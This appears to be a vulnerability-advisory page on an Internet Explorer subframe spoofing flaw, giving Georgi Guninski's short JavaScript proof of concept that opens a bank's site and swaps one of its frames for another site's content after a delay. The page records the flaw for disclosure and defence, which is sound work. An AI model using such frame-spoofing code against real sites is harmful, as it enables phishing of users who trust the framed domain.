Internet Explorer Subframe Spoofing Vulnerability

info
discussion
exploit
solution
references

Internet Explorer Subframe Spoofing Vulnerability

Here is the code from Georgi Guninski's demonstration:
<SCRIPT>
b=window.open("http://www.citybank.com");
function g()
{
b.frames[2].location="http://www.yahoo.com";
}
setTimeout("g()",6000);
</SCRIPT>

The demonstration is available at:
http://www.nat.bg/~joro/msfrspoof.html